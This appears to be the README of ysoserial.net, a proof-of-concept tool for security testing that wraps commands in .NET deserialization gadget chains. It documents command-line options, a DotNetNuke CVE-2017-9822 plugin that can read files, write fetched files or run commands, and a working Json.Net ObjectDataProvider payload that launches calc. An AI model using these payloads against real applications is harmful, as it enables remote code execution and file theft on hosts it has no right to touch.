A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.

Description

ysoserial.net is a collection of utilities and property-oriented programming "gadget chains" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

This project is inspired by Chris Frohoff's ysoserial project

Note: Machine authentication code (MAC) key modifier is not being used for LosFormatter in ysoserial.net. Therefore, LosFormatter (base64 encoded) can be used to create ObjectStateFormatter payloads.

Usage: ysoserial.exe [options]
Options:
  -p, --plugin=VALUE         The plugin to be used.
  -o, --output=VALUE         The output format (raw|base64|raw-
                               urlencode|base64-urlencode|hex). Default: raw
  -g, --gadget=VALUE         The gadget chain.
  -f, --formatter=VALUE      The formatter.
  -c, --command=VALUE        The command to be executed.
      --rawcmd               Command will be executed as is without `cmd /c `
                               being appended (anything after first space is an
                               argument).
  -s, --stdin                The command to be executed will be read from
                               standard input.
      --bgc, --bridgedgadgetchains=VALUE
                             Chain of bridged gadgets separated by comma (,).
                               Each gadget will be used to complete the next
                               bridge gadget. The last one will be used in the
                               requested gadget. This will be ignored when
                               using the searchformatter argument.
  -t, --test                 Whether to run payload locally. Default: false
      --outputpath=VALUE     The output file path. It will be ignored if
                               empty.
      --minify               Whether to minify the payloads where applicable.
                               Default: false
      --ust, --usesimpletype This is to remove additional info only when
                               minifying and FormatterAssemblyStyle=Simple
                               (always `true` with `--minify` for binary
                               formatters). Default: true
      --raf, --runallformatters
                             Whether to run all the gadgets with the provided
                               formatter (ignores gadget name, output format,
                               and the test flag arguments). This will search
                               in formatters and also show the displayed
                               payload length. Default: false
      --sf, --searchformatter=VALUE
                             Search in all formatters to show relevant
                               gadgets and their formatters (other parameters
                               will be ignored).
      --debugmode            Enable debugging to show exception errors and
                               output length
  -h, --help                 Shows this message and exit.
      --fullhelp             Shows this message + extra options for gadgets
                               and plugins and exit.
      --credit               Shows the credit/history of gadgets and plugins
                               (other parameters will be ignored).
      --runmytest            Runs that `Start` method of `TestingArenaHome` -
                               useful for testing and debugging.

Note: When specifying complex commands, it can be tedious to escape some special character (;, |, &, ..). Use stdin option (-s) to read the command from stdin:

cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s

Note: XmlSerializer and DataContractSerializer formatters generate a wrapper Xml format including the expected type on the "type" attribute of the root node, as used, for example, in DotNetNuke. You may need to modify the generated xml based on how XmlSerializer gets the expected type in your case.

Plugins

Ysoserial.Net can be used to generate raw payloads or more complex ones using a plugin architecture. To use plugins, use -p <plugin name> followed by the plugin options (the rest of ysoserial.net options will be ignored). Eg:

$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini

For more help on plugin options use -h along with -p <plugin name>. Eg:

$ ./ysoserial.exe -h -p DotNetNuke

ysoserial.net generates deserialization payloads for a variety of .NET formatters.

Plugin:

DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)

Options:

  -m, --mode=VALUE           the payload mode: read_file, write_file, run_command.
  -c, --command=VALUE        the command to be executed in run_command mode.
  -u, --url=VALUE            the url to fetch the file from in write_file mode.
  -f, --file=VALUE           the file to read in read_file mode or the file to write to in write_file_mode.
      --minify               Whether to minify the payloads where applicable (experimental). Default: false
      --ust, --usesimpletype This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true

Examples

Generate a calc.exe payload for Json.Net using ObjectDataProvider gadget.

$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/ccalc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Generate a calc.exe payload for BinaryFormatter using PSObject gadget.

v2 Branch

v2 branch is a copy of ysoserial.net (15/03/2018) that has been changed to work with .NET Framework 2.0 by irsdl. Although this project can be used with applications that use .NET Framework v2.0, it also requires .NET Framework 3.5 to be installed on the target box as the gadgets depend on it. This problem will be resolved if new gadgets in .NET Framework 2.0 become identified in the future.
